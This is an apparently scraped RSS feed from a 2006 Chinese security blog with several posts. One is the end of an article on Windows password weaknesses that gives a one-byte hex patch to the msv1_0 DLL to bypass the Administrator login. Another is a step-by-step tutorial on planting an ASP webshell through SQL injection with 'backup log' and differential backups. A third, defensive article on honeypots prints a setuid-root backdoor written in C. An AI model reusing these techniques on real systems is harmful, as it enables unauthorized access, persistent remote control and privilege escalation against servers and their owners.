首先我们要尽可能避免明文密码的比较，并尽可能地将明码密码&ldquo;暗码&rdquo;化，即将明文密码通过稳健的摘要密码算法&ldquo;撕碎&rdquo;后&ldquo;淹没&rdquo;在长度至少在128位的高强度单向散列串里（具体参考我们发表的《大型Web应用软件系统的安全登录隐患及对策》一文），如果实在没有这个&ldquo;耐性&rdquo;做这项工作，那至少要考虑将密码研判的有关指令&ldquo;离散&rdquo;化而不象现在这般前后&ldquo;紧密&rdquo;相连，更为安全的做法请参考我们完成的《脆弱的软件著作权保护方式及对策》一文，里头相应地给出一个有效的解决方案。</DIV><DIV>&nbsp;</DIV><DIV><STRONG>3、关于视窗操作系统&ldquo;连接登录&rdquo;对话框问题</STRONG></DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 原因在于视窗操作系统对这类密码解码及研判，既没有如&ldquo;用户登录&rdquo;对话框般采用比较安全的&ldquo;OpeNPassworDCachE&rdquo;方法对有关内存进行分配，也没有对有关密码存储的内存在研判后进行必要&ldquo;清零&rdquo;。所以我们可以轻而易举地通过内存探查，找到用户的上述敏感数据。</DIV><DIV>&nbsp;</DIV><DIV><STRONG>对策：</STRONG></DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 首先考虑启用较安全的&ldquo;OpeNPassworDCachE&rdquo;方法对有关内存进行分配，并确保密码比较后必须立即执行有关密码内存单元的&ldquo;清零&rdquo;工作，以抵御内存探查工具&ldquo;窥视&rdquo;攻击。如果需要更安全的密码研判，就应该尽可能避免在内存里出现明文密码，具体做法请参考我们完成的《脆弱的软件著作权保护方式及对策》一文，里头相应地给出一个有效的解决方案。</DIV><DIV>&nbsp;</DIV><DIV><STRONG>4、关于视窗操作系统&ldquo;共享登录&rdquo;设置对话框问题</STRONG></DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 原因在于视窗操作系统对这类密码解码及研判，既没有采用比较安全的&ldquo;OpeNPassworDCachE&rdquo;方法对有关内存进行分配，也没有对有关密码存储的内存在研判后进行必要&ldquo;清零&rdquo;。所以我们可以轻而易举地通过内存探查，找到用户的上述敏感数据。</DIV><DIV>&nbsp;</DIV><DIV><STRONG>对策：</STRONG></DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 首先考虑启用较安全的&ldquo;OpeNPassworDCachE&rdquo;方法对有关内存进行分配，并确保密码比较后必须立即执行有关密码内存单元的&ldquo;清零&rdquo;工作，以抵御内存探查工具&ldquo;窥视&rdquo;攻击。如果需要更安全的密码研判，就应该尽可能避免在内存里出现明文密码，具体做法请参考我们完成的《脆弱的软件著作权保护方式及对策》一文，里头相应地给出一个有效的解决方案。</DIV><H3>三、结论</H3><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 对于被具有起码强度的稳健单向HasH算法保护的产品，简单并可能有效但是未必高效的攻击当然首先考虑的是穷举，当然其规模不能太大，但是对于视窗操作系统产品而言，在大多数情况下就连穷举都可以省略，直接&ldquo;Crack&rdquo;或直接进行内存探查就能达到目的，这是因为其没有对系统指令代码及密码等敏感数据所在内存的安全性进行必要的维护以及保护：</DIV><DIV>&nbsp;</DIV><DIV>（1）对于系统指令代码而言，视窗操作系统大都以常规形式读写、执行，缺乏对关键指令代码进行必要的校验，以防止其在系统内存里被&ldquo;篡改&rdquo;。</DIV><DIV>&nbsp;</DIV><DIV>（2）对于密码数据而言，视窗操作系统将&ldquo;还原&rdquo;后的密码在&ldquo;使用&rdquo;完毕后仍以明码形式遗留在系统内存里，而&ldquo;密码存储内存在密码研判后进行清零&rdquo;&mdash;&mdash;这是稍有些密码安全知识的人的常识性做法，何以视窗操作系统生产商却出现如此疏忽？</DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 目前我们尚未获得视窗操作系统生产商在其本土销售的版本，如果相关的分析表明仅仅在其国际版本里才存在本文讨论的这些密码安全体系弱点，抛开其开发成本或稳定性等托词，其真正用意值得大家深思。</DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 大家也不要认为视窗2K等版本相对而言较安全，就抱着侥幸心理以为没有上述有关密码安全体系方面的弱点。我们的分析包括了视窗2K等版本，就&ldquo;用户登录&rdquo;对话框问题而言，视窗2K等版本操作系统同样存在上述安全隐患。只需对一个名为&ldquo;■sv1_0&rdquo;的系统动态链接库文件，仅仅修改其&ldquo;<B>一个</B>&rdquo;字节后，视窗2K等版本操作系统起码的安全环节就告失效。可轻松以超级用户&ldquo;Administrator&rdquo;登录，利用这个弱点无须&ldquo;Crack&rdquo;，有关的&ldquo;时间成本&rdquo;几乎为零！所以本文的讨论还是有代表性的。希望能引起大家必要的重视。</DIV><DIV>&nbsp;</DIV><DIV><STRONG>视窗2K版本的相关实验：</STRONG></DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在视窗2K版本操作系统内找到名为&ldquo;■sv1_0&rdquo;的系统动态链接库文件，然后在常见的十六进制编辑器里搜索十六进制串{ F8 <B>10</B> 0F 84 71 FF FF }后将其间的{ 10 }改为{ 00 }即上述十六进制串被改动一个字节后变为{ F8 <B>00</B> 0F 84 71 FF FF }，即：</DIV><DIV>&nbsp;</DIV><DIV align="center"><TABLE cellspacing="0" cellpadding="0" border="1"><TBODY><TR><TD valign="top"><DIV align="center"><I>搜索</I> &rarr; <I>F8 &nbsp;&nbsp;<B>10&nbsp; </B>&nbsp;0F &nbsp;84 &nbsp;71 &nbsp;FF&nbsp; FF</I></DIV><DIV align="center"><I>替为</I> &rarr; <I>F8 &nbsp;&nbsp;<B>00</B>&nbsp; &nbsp;0F &nbsp;84 &nbsp;71 &nbsp;FF&nbsp; FF</I></DIV></TD></TR></TBODY></TABLE></DIV><DIV>&nbsp;</DIV><DIV>保存这个改动，然后尝试以超级用户&ldquo;Administrator&rdquo;登录，就会发现相关的密码安全弱点。</DIV><DIV>&nbsp;</DIV><DIV><STRONG>对策：</STRONG></DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个例子所揭示的安全弱点的有关对策请参考我们完成的《脆弱的软件著作权保护方式及对策》一文，里头有更为详尽的分析。</DIV><DIV>&nbsp;</DIV><DIV>&nbsp;</DIV><DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 事实证明，对于不借助可热插拔的移动存储介质保存密码（密钥）以及缺乏稳健的密码安全体系的视窗操作系统，目的明确并具备起码专业技能的人员&ldquo;入侵&rdquo;视窗操作系统并不是一件困难的事情。（作者单位&nbsp; Abusys公司）</DIV><DIV>&nbsp;</DIV><DIV>&nbsp;</DIV><DIV><SUP>[1] </SUP>本文仅供参考，如果读者希望重复实验及数据，请一定严格按照本文依照原样提供的所有指令执行，尽管我们知道本文的所有实验例子都可以安全地被重复，但是读者行动之前请记住，我们对因此产生的结果不作任何形式的担保。</DIV><DIV><SUP>[2]</SUP>本文所附图之具体地址数值不必拘泥。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV><DIV><U></U>&nbsp;</DIV><DIV><U></U>&nbsp;</DIV><DIV><U></U>&nbsp;</DIV><DIV><U>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</U></DIV><DIV>&nbsp;</DIV></TD></TR></TBODY></TABLE></TD></TR><TR><TD>&nbsp;</TD></TR><TR valign="middle" bgcolor="#990000"><TD colspan="2" height="50%"><!--尾文件--><TABLE cellspacing="0" cellpadding="0" border="0"><!--DWLayoutTable--><TBODY><TR><TD style="BORDER-TOP: gray 1px solid"><DIV align="center"><TABLE border="0"><TBODY><TR><TD>&nbsp;</TD><TD>&nbsp;</TD><TD><DIV align="center"><SPAN><A href="http://www.nsc.org.cn/guanggaokanli.asp">广告刊例</A></SPAN></DIV></TD><TD><DIV align="center">在线调查</DIV></TD><TD><DIV align="center"><A href="http://www.nsc.org.cn/tougaozhinan.asp">投稿指南</A></DIV></TD><TD><DIV align="center"><A href="http://www.nsc.org.cn/Lianxiwomen/lianxiwomen.html">联系我们</A></DIV></TD><TD>&nbsp;</TD><TD>&nbsp;</TD></TR></TBODY></TABLE><P>Copyright &copy; 2005 NetWork &amp; Computer Security . All rights reserved . <BR><A href="http://www.miibeian.gov.cn/">备案序号：京ICP备05009980号</A> </P></DIV></TD></TR><TR><TD></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></P>]]></description>
		</item>
		    
		
		<item>
			<title>我还活着</title>
			<link>http://badlam.blog.sohu.com/1021138.html</link>
			<comments>http://badlam.blog.sohu.com/1021138.html#comment</comments>
			<dc:creator>古典辣M&#38;#176;的书房</dc:creator>
			<pubDate>Thu, 23 Feb 2006 00:36:47 +0800</pubDate>
			<category>心情</category>
			<guid>http://badlam.blog.sohu.com/1021138.html</guid>
			<description><![CDATA[<P>黑鹰被封, 群众纷纷传言说我被抓, 出来冒个泡泡证明目前暂时很安全:)</P><P>前段时间, 因为迷上游戏,从黑鹰辞职了,要不,我现在也在享用免费午餐呢~~</P><P>只觉得对不起一个朋友,才毕业的,我把他介绍到了黑鹰,他过完年才去的.</P><P>唉,谁想到这样的结果呢?</P>]]></description>
		</item>
		    
		
		<item>
			<title>导出日志文件到web目录来获得shell以及差异备分</title>
			<link>http://badlam.blog.sohu.com/1019510.html</link>
			<comments>http://badlam.blog.sohu.com/1019510.html#comment</comments>
			<dc:creator>古典辣M&#38;#176;的书房</dc:creator>
			<pubDate>Thu, 23 Feb 2006 00:32:17 +0800</pubDate>
			<category>技术</category>
			<guid>http://badlam.blog.sohu.com/1019510.html</guid>
			<description><![CDATA[<P>作者：swan<BR><BR>dbowner通过注射得到一个shell应该不是什么难事情了，比较麻烦的是就算利用增量备份，仍然有很多不确定的因素，如果之前别人有过什么错误的写入信息，可能备份出来得到的还是一些不能用的500错误，如何能够提高成功率及重用性呢？如果单从调整增量备份的方式来看，尽管能够达到一些效果，但是方法比较复杂而且效果不明显。加上关于重用性的考虑，例如多次备份的成功率，backup database的方法并不太适用。这里将要讲述的是另外一个备份的方法，导出日志文件到web目录来获得shell。<BR>获得webshell首先要知道物理路径。关于物理路径的暴露有很多方法，注入也可以得到，就不再多说。值得注意的是，如果数据库和web分离，这样肯定得不到webshell，备份出来的东西可以覆盖任何文件，一些关于开始菜单的想法还是有效的，只要注意扩展名就好。扯远了，反正如果数据库和web在一块的，你就有机会，反之还是想其他的办法吧。<BR>然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情，dbowner足矣，public则不行。当前打开的库名用一个db_name()就可以得到，同样很简单。<BR>默认的情况是，一般选择的数据库故障还原类型都是简单，这时候不能够对日志文件进行备份。然而我们都是dbowner了，还有什么不能做的呢，只要修改一下属性就可以。由于不能去企业管理器中修改，只有用一段SQL语句，很简单的，这样就可以：<BR><BR>alter database XXXX set RECOVERY FULL<BR><BR>其中XXXX是你得到的数据库的名字，执行过后就可以备份日志了。这种修改是破坏性的，因为你不知道以前的故障还原模式是什么，细心的管理员看到异样，可能就要开始起疑心。如果之前你能得到数据库的状态，最好还是在备份完以后把这个数据库的属性改回来。<BR><BR>剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backup database中设定表名为image的问题相对应，如果你只是建立一个&lt;%%&gt;之类的表，日志里面的记录还是以松散的格式记录的，也就是&lt; % % &gt;，没有任何效果。通过实际的测试，发现还是可以通过与backup database类似的方式记录进去，如下：<BR><BR>create table cmd (a image)<BR>insert into cmd (a) values ('&lt;%Execute(request(&quot;Swan&quot;))%&gt;')<BR>backup log XXXX to disk = 'c:\xxx\2.asp'<BR><BR>这样你已经得到一个webshell了。<BR><BR>到这里就完了么？没有，呵呵，我们继续。<BR>到这里有两个分支方向，第一个，让注入的时候不出现单引号，太简单了，我都懒得写；第二个，减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的，同样适用于backup database的减小。<BR>首先是初始化这个日志。<BR><BR>backup log XXXX to disk = 'c:\caonima' with init<BR><BR>这样有点类似于增量备份的第一步，不过有点不同的是，你做了这个以后，你备份出来的可用的shell是固定的。这一点比较重要，因为有了这一步，不管管理员在数据库里面做了什么扰乱你back database的手脚，或者你之前有多少混蛋（你肯定会这么想的）弄了些你不喜欢的东西，都没有关系，甚至你做过以后，别人在后面再按照你的方法来一次，还是会成功，这对于偶尔出现的反复，比如对方机器重装但是数据库和代码没变，有不小的帮助。<BR>然后是调整一下backup中各个语句的顺序。通过第一点，大概的步骤已经确定下来了，那就是：<BR><BR>alter database XXXX set RECOVERY FULL<BR>backup log XXXX to disk = 'c:\Sammy' with init<BR>create table cmd (a image)<BR>insert into cmd (a) values ('&lt;%Execute(request(&quot;Swan&quot;))%&gt;')<BR>backup log XXXX to disk = 'c:\xxx\2.asp'<BR><BR>这样不好，感觉上多了一条没用的东西。<BR><BR>create table cmd (a image)<BR><BR>确实有点讨厌，不过这句是必要的，只好调整一下位置，弄到其他地方去。调换一下顺序似乎还可以小一点，对于backup database中的增量情况同样是可以的，backup database甚至可以仅仅在update后马上备份，不过由于涉及到了数据的存储格式，情况很复杂，这里不讨论。调整后的是：<BR><BR>alter database XXXX set RECOVERY FULL<BR>create table cmd (a image)<BR>backup log XXXX to disk = 'c:\Sammy' with init<BR>insert into cmd (a) values ('&lt;%Execute(request(&quot;Swan&quot;))%&gt;')<BR>backup log XXXX to disk = 'c:\xxx\2.asp'<BR><BR>成功的话，备份出来的shell（上面的2.asp）有78.5k，文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧，当然用这个来生成一个干净的木马也可以&mdash;&mdash;这本来就是顶端cs木马的s端，很通用的。<BR>进一步的，虽然不能再次缩小这个木马了，但是可以让垃圾文件少一点，那就是加上response.end，这样后面的垃圾数据就不再显示。所有的垃圾数据，你可以统计一下，大约只有6~12k，也就是说，&lt;%Execute(request(&quot;Swan&quot;))%&gt;这个数据大约在2.asp文件偏移6xxx到12xxx附近，最好的情况似乎在6k左右，而且这个概率分布比较靠前，很少见到10k以上。这还是比较令人满意的。<BR><BR>目前用backup log来测试的成功率是100%，就这样分析似乎不应该有失败的情况。无论如何，这个比backup database好太多了。 </P><P></P><H3>还有一篇随手写的</H3><P>随手写了发在某bbs上的，很短，直接贴算了。</P><P>差异备份最早提出来可能是??????或者什么人，最近安焦出的一本书上有过一些说法，应该存在问题，这里就不讨论了。关于备份本身的改进也没有什么好说的，只是单独提一下差异备份。<BR>从感性上认识，差异备份就是把前后不同的地方提出来，这样对于成功率而言，确实有很大的提高，一个典型的过程是：</P><P>create table cmd(str image);<BR>backup database xxxx to disk='somewhere';<BR>insert into cmd(str) values ('something');<BR>backup database xxxx to disk='destination' with differential,format</P><P>这里的差异，是一种增量差异，感性上的结果是增加的部分包括增加的记录项。<BR>那么，我们考虑了，增加的记录项带来的差异较大呢，还是修改记录项带来差异大呢？很有可能是后者，那么，这个差异备份可以被改进为：</P><P>create table cmd(str image);<BR>insert into cmd(str) values ('something');<BR>backup database xxxx to disk='somewhere';<BR>update xxxx set str='newthing';<BR>backup database xxxx to disk='destination' with differential,format</P><P>马上测试一下，结果&hellip;&hellip;大家自己看~<BR>另外，上面的something和newthing长度必须考虑。很明显newthing比something长的话，产生的差异太大了不好控制，如果是等长的话，也难说。所以最好是newthing比something短。</P><P>假设</P><P>something = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'<BR>newthing = 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'</P><P>差异备份试验下，包含的字符串是：</P><P>BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAA<BR>... ...<BR>BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB</P><P>后面还有一个拷贝，没关系，response.end就可以了。<BR>自己做实验，不妨删表然后压缩，效果还要好一些，这里就不废话了</P><P></P>]]></description>
		</item>
		    
		
		<item>
			<title>网络欺骗方法及攻防实例</title>
			<link>http://badlam.blog.sohu.com/979249.html</link>
			<comments>http://badlam.blog.sohu.com/979249.html#comment</comments>
			<dc:creator>古典辣M&#38;#176;的书房</dc:creator>
			<pubDate>Mon, 20 Feb 2006 03:52:25 +0800</pubDate>
			<category>技术</category>
			<guid>http://badlam.blog.sohu.com/979249.html</guid>
			<description><![CDATA[<TABLE cellpadding="2" bgcolor="#e9e9e9" border="0"><TBODY><TR><TD align="center"><FONT style="FONT-SIZE: 13px" color="#808080">时间：2006-1-11 作者：彭文波</FONT></TD></TR><TR><TD valign="top"><DIV align="center"><B></B>&nbsp;</DIV><DIV align="center">&nbsp;</DIV><DIV>诱敌深入是一门很实用的战术，古今中外，很多军事家、政治家、企业家都对这个战术津津乐道，在网络攻防中也不例外，系统管理员也会用到这样的战术。由于每个网络系统都有安全方面的弱点，如果它的价值很高的话，这些弱点就有可能被入侵者利用。通常，人们会主动去弥补这些漏洞或者缺陷，如果系统管理员有一手的话，完全可以使入侵者相信系统存在安全缺陷，并将其引向这些错误的资源，也就是&ldquo;诱敌深入&rdquo;。当然，也需要在&ldquo;知己知彼&rdquo;的基础上才能&ldquo;百战百胜&rdquo;。管理员还可以跟踪入侵者的行为，在入侵者之前修补系统可能存在的安全漏洞。这可以形象地比喻为&ldquo;牵着牛鼻子走路&rdquo;。</DIV><H1><A name="_Toc96751556">一、网络欺骗方法探幽</A></H1><DIV>网络管理员和入侵者在工作上永远是不相容的两个派别，至于工作之外是什么角色就不好说了。实践过程中，我们可以用逆向的思维来猜测入侵者的进攻技术和意图，牵着他的&ldquo;牛鼻子&rdquo;，按照我们给他设计好的意志进行选择，并且逐步消耗他的资源。这样，就会使入侵者感到要达到期望的目标还是具有一定挑战性的。一般来说，网络欺骗的方法可以从以下几个方面来考虑。</DIV><H5><A name="_Toc96751557">1</A>、诱饵：Honey Pot和分布式Honey Pot</H5><DIV>最早采用的网络欺骗是Honey Pot技术，Honey Pot就像一个诱饵，它将少量的有吸引力的目标（即Honey Pot）放在让入侵者很容易发现的地方，使之落入圈套。其中采用的技术手段很多，通常包括安插错误信息和隐藏等。前者包括重定向路由、伪造假信息和设置圈套，后者包括隐藏服务、多路径和维护安全状态信息机密性。这样就可以使入侵者将技术、精力集中到Honey Pot而不是其他真正有价值的正常系统和资源中，因此这个诱饵必须做的尽量&ldquo;美味、可口&rdquo;。</DIV><DIV>&nbsp;</DIV><DIV>尽管Honey Pot技术可以迅速切换，但是，对稍高级的网络入侵，Honey Pot技术就作用甚微了。因此，分布式Honey Pot技术便应运而生，它将欺骗（Honey Pot）散布在网络的正常系统和资源中，利用闲置的服务端口来充当欺骗，从而增大了入侵者遭遇欺骗的可能性。分布式Honey Pot技术有两个直接的效果，首先是将欺骗分布到更广范围的IP地址和端口空间中，其次是增大了欺骗在整个网络中的百分比，使得欺骗比安全弱点被入侵者扫描器发现的可能性增大。</DIV><DIV>&nbsp;</DIV><DIV>分布式Honey Pot技术也不是十全十美的，它的局限性体现在三个方面：一是它对穷尽整个空间搜索的网络扫描无效；二是只提供了相对较低的欺骗质量；三是只相对使整个搜索空间的安全弱点减少。而且，这种技术的一个更为严重的缺陷是它只对远程扫描有效。如果入侵已经部分进入到网络系统中，处于观察（如嗅探）而非主动扫描阶段时，真正的网络服务对入侵者已经透明，那么这种欺骗将失去作用。</DIV><H5><A name="_Toc96751558">2</A>、真假&ldquo;李逵&rdquo;：空间欺骗技术</H5><DIV>计算机系统具有多宿主能力（multi－homed capability），就是在只有一块以太网卡的计算机上能实现具有众多IP地址的主机，实际上，现在已有研究机构能将超过4000个IP地址绑定在一台运行Linux的PC上，而且每个IP地址还具有它们自己的MAC地址。这项技术可用于建立填充一大段地址空间的欺骗，且花费极低。欺骗空间技术就是通过增加搜索空间来显著地增加入侵者的工作量，从而达到安全防护的目的。这样许许多多不同的欺骗，就可以在一台计算机上实现。当入侵者的扫描器访问到网络系统的外部路由器并探测到这一欺骗服务时，还可将扫描器所有的网络流量重定向到欺骗上，使得接下来的远程访问变成这个欺骗的继续。</DIV><DIV>&nbsp;</DIV><DIV>从防护的效果上看，将网络服务放置在所有这些IP地址上将毫无疑问地增加了入侵者的工作量，因为他们需要决定哪些服务是真正的，哪些服务是伪造的，特别是这样的4万个以上IP地址都放置了伪造网络服务的系统。而且，在这种情况下，欺骗服务相对更容易被扫描器发现，通过诱使入侵者上当，增加了入侵时间，从而大量消耗入侵者的资源，使真正的网络服务被探测到的可能性大大减小。</DIV><DIV>&nbsp;</DIV><DIV>当然，采用这种欺骗时网络流量和服务的重定向必须严格保密，因为一旦暴露就将招致攻击，从而导致入侵者很容易将任一已知有效的服务和这种用于测试入侵者的扫描探测及其响应的欺骗区分开来。</DIV><H5><A name="_Toc96751559">3</A>、用户信息迷惑：组织信息欺骗和多重地址转换</H5><DIV>面对网络攻击技术的不断提高，一种网络欺骗技术肯定不能做到总是成功，必须不断地提高欺骗质量，才能使入侵者难以将合法服务和欺骗区分开来。多重地址转换和组织信息欺骗能有效地迷惑对手。</DIV><DIV>&nbsp;</DIV><DIV>如果组织的DNS服务器包含了个人系统拥有者及其位置的详细信息，那么你就需要在欺骗的DNS列表中具有伪造的拥有者及其位置，否则欺骗很容易被发现。而且，伪造的人和位置也需要有伪造的信息如薪水、预算和个人记录等等。因此，如果某个组织提供有关个人和系统信息的访问，那么欺骗也必须以某种方式反映出这些信息。</DIV><DIV>&nbsp;</DIV><DIV>另外，在信息迷惑上，地址的多次转换能将欺骗网络和真实网络分离开来，这样就可利用真实的计算机替换低可信度的欺骗，增加了间接性和隐蔽性。其基本的概念就是重定向代理服务（通过改写代理服务器程序实现），由代理服务进行地址转换，使相同的源和目的地址像真实系统那样被维护在欺骗系统中。</DIV><H5><A name="_Toc96751560">4</A>、网络信息迷惑：网络动态配置和网络流量仿真</H5><DIV>真实网络是随时间而改变的，如果欺骗是静态的，那么在入侵者长期监视的情况下就会导致欺骗无效。因此，需要动态配置欺骗网络以模拟正常的网络行为，使欺骗网络也像真实网络那样随时间而改变。为使之有效，欺骗特性也应该能尽可能地反映出真实系统的特性。例如，如果办公室的计算机在下班之后关机，那么欺骗计算机也应该在同一时刻关机。其他的如假期、周末和特殊时刻也必须考虑，否则入侵者将很可能发现欺骗。</DIV><DIV>&nbsp;</DIV><DIV>产生仿真流量的目的是使流量分析不能检测到欺骗。在欺骗系统中产生仿真流量有两种方法。一种方法是采用实时方式或重现方式复制真正的网络流量，这使得欺骗系统与真实系统十分相似，因为所有的访问连接都被复制了；还有一种方法是从远程产生伪造流量，使入侵者可以发现和利用。</DIV><DIV>&nbsp;</DIV><DIV>在欺骗与被欺骗的过程中，对双方的智力考验要求是很高的。如果在其中某个环节的判断上出了问题，就可能反而陷入别人的圈套。因此，必须对相关的欺骗手法有一定的了解，这样就能在实践操作中做出准确的判断。下面，我们来看一个&ldquo;诱敌深入&rdquo;的攻防实践。</DIV><H1><A name="_Toc96751561">二、欺骗实例之&ldquo;诱敌深入&rdquo;</A></H1><DIV>相信很多朋友都知道，邮件服务器软件Sendmail中有个安全漏洞，入侵者如果熟悉邮件服务器软件Sendmail，他肯定会试探着攻击。据说只要收到被做过手脚的邮件，邮件服务器设备管理员的权限就有可能被篡夺。由于可以通过邮件进行攻击，因此很难用防火墙等防范。尤其是基本上所有版本的Sendmail都受到影响，因此我们决定使用邮件服务器软件Sendmail作为诱饵。在这个实例中，将会使用到上面所介绍的一些欺骗技术。</DIV><H5><A name="_Toc96751562">1</A>、关于Sendmail的一些知识</H5><DIV>Sendmail作为 Linux、BSD和其他Unix平台的&ldquo;标配&rdquo;，被广泛使用。使用Sendmail很重要的一条是，必须记得随时了解他的站点动态，在http://www.sendmail.org这个网站公布了关于sendmail的一些最新版本和相关信息，http://www.sendmail.org/8.13.0.Alpha0.html是目前的最新测试版本。作为一个相当普及的软件，再加上众多的相关软件支持，配置Sendmail可以算得上系统管理员的基本技能之一了。</DIV><DIV>Sendmail 主要的配置文件如下：</DIV><DIV>/etc/sendmail.cf是Sendmail 核心配置文件；</DIV><DIV>/etc/aliases是邮件别名文件；</DIV><DIV>/etc/mail/relay-domains用于设定可RELAY的域名；</DIV><DIV>/etc/mail/access用来设定处理来信的方式如RELAY等；</DIV><DIV align="left">在默认情况下，也就是安装Sendmail服务器不做任何设置的情况下，则只能在本机上收发邮件，网络上其它主机不能向该SMTP服务器发送邮件。关于Sendmail的具体安装配置过程，我们可以通过http://www.worldhello.net/doc/email_howto/sendmail.html这个网址得到比较满意的答案。</DIV><H5><A name="_Toc96751563">2</A>、序幕</H5><DIV>为了给黑客们一个惊喜，我们故意留出了一个DUBUG漏洞，张开网后，就等鱼儿上钩了。大概一个多月都没有动静，终于，在我们无意中间接公布了一些系统的消息后，发现系统出了异常的日志是在2004年2月14日，可能是由于情人节的落寞想找个地方来发泄，一个黑客发现了我们公布的计算机的漏洞，试图获得我们的password文件，顺水推舟，我们就给他送了一份人情，很快我们就发现在口令文件 passwd 中增加了一个 UID 为 0 的账号。</DIV><DIV>&nbsp;</DIV><DIV>这个黑客十分有耐心，手段也很高明。一切在意料之中，我们在机器的/tmp目录下又发现了一个程序，而且只要运行这个程序，就会轻易得到用户权限。根据我们自己掌握的情况，这种方法在网上几乎是最受欢迎的了。不过，对于系统用户来说，定期清理/tmp下的文件是很正常的，因此即使我们清理这个文件，他也不会感到意外。我们打开在 /tmp 目录下放置 的C源程序进行了研究：</DIV><TABLE cellspacing="0" cellpadding="0" bgcolor="#e0e0e0" border="0"><TBODY><TR><TD valign="top"><DIV>&lt;++&gt; backdoor/backdoor2.c</DIV><DIV>#include&nbsp;</DIV><DIV>main()</DIV><DIV>{</DIV><DIV>system(&quot;cp /bin/sh /tmp/fid&quot;);</DIV><DIV>system(&quot;chown root.root /tmp/fid&quot;);</DIV><DIV>system(&quot;chmod 4755 /tmp/fid&quot;);</DIV><DIV>}</DIV><DIV>&lt;--&gt;</DIV><DIV>&nbsp;</DIV></TD></TR></TBODY></TABLE><DIV>很明显，这是一个后门程序，通过这个程序可以获得一些关于根用户的相关属性，这对黑客来说是一个刺激，对我们管理员来说，既然要&ldquo;诱敌深入&rdquo;做个测试，就肯定也存在一定挑战了。而现在我们所要做的，就是引诱一个黑客到一个我们设计好的环境中，记录下来他的所有动作，研究其行为，并提醒他的下一个目标作出防范。除了在机器上设置记录日志并隐藏这些日志，我们还添加了一些虚假的服务在系统上。由于每天定时产生的日志量非常大，为了有针对地了解攻击动向，我们做了一个script文件用来检索每天的日志。其中，我们主要检查以下几点：</DIV><DIV>&nbsp;</DIV><DIV>Telnet/login服务检查：如果有黑客试图进入我们的系统，他肯定要尝试很多帐户和密码，这样他的一举一动都会被我们记录下来。当然，由于试探的人比较多，五花八门三教九流，水平太次的人我们是不会给他机会的。然后就是探测Guest / visitor 账号，黑客们第一个寻找的就是公用账号。这些账号提供了友好的、最轻易地获取几乎系统的所有文件的机会，包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。</DIV><DIV>&nbsp;</DIV><DIV>FTP服务检索：检索的工具会报告每天所有注册和试图注册的用户名。我们伪造了一个passwd文件，获取passwd的人通常用它来获得系统的正式用户的注册名称，然后攻击、破解其密码。</DIV><DIV>&nbsp;</DIV><DIV>SMTP DEBUG：这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞，但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时，我就获得了他尝试的script代码。</DIV><DIV>Finger：Finger提供了大量有用的信息给黑客：账号名，该账号的最后一次使用时间，以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人，我们置入了一个程序，在finger了fingerd的调用者后拒绝figner请求。（当然我们会避免对来自自己的finger信息的死循环）。报告表明每天有数以十计的finger请求，其中大部分是合法的。很多探测器都使用figner命令来查明调用的机器和使用者。</DIV><H5><A name="_Toc96751564">3</A>、较量</H5><DIV>设置好上面的服务以后，由于我们的目标有点暴露，因此被攻击率比较高。但是，当一个远程使用者取走passwd文件时，并不是所有的人都出于恶意的目的。就象我们生活在大千世界一样，每个人的想法不一定相同。从这些日志所记录的事件里面，我们可以发现很多人的不同心理，或善意，或好奇，或者出于成就感。为了给黑客一个提醒，我们设置了一个自动回信，大致内容是：</DIV><DIV>&nbsp;</DIV><DIV>&ldquo;如果你到了这个地方，就已经很不错了，如果你希望继续，我们也可以陪你玩玩。如果我们现在正看着你的操作，感觉如何？&rdquo;。</DIV><DIV>不过，对于高手来说，这招并不一定能奏效。下面的日志，记录了两个邮件发送器的相互对话，整个心理过程可以从中窥探出来。</DIV><TABLE cellspacing="0" cellpadding="0" bgcolor="#e0e0e0" border="0"><TBODY><TR><TD valign="top"><DIV>00:43:10 smtpd[27466]: &lt;--- 220 xxx.xxx.com SMTP</DIV><DIV>00:43:14 smtpd[27466]: -------&gt; debug</DIV><DIV>00:43:14 smtpd[27466]: DEBUG attempt</DIV><DIV>00:43:14 smtpd[27466]: &lt;--- 200 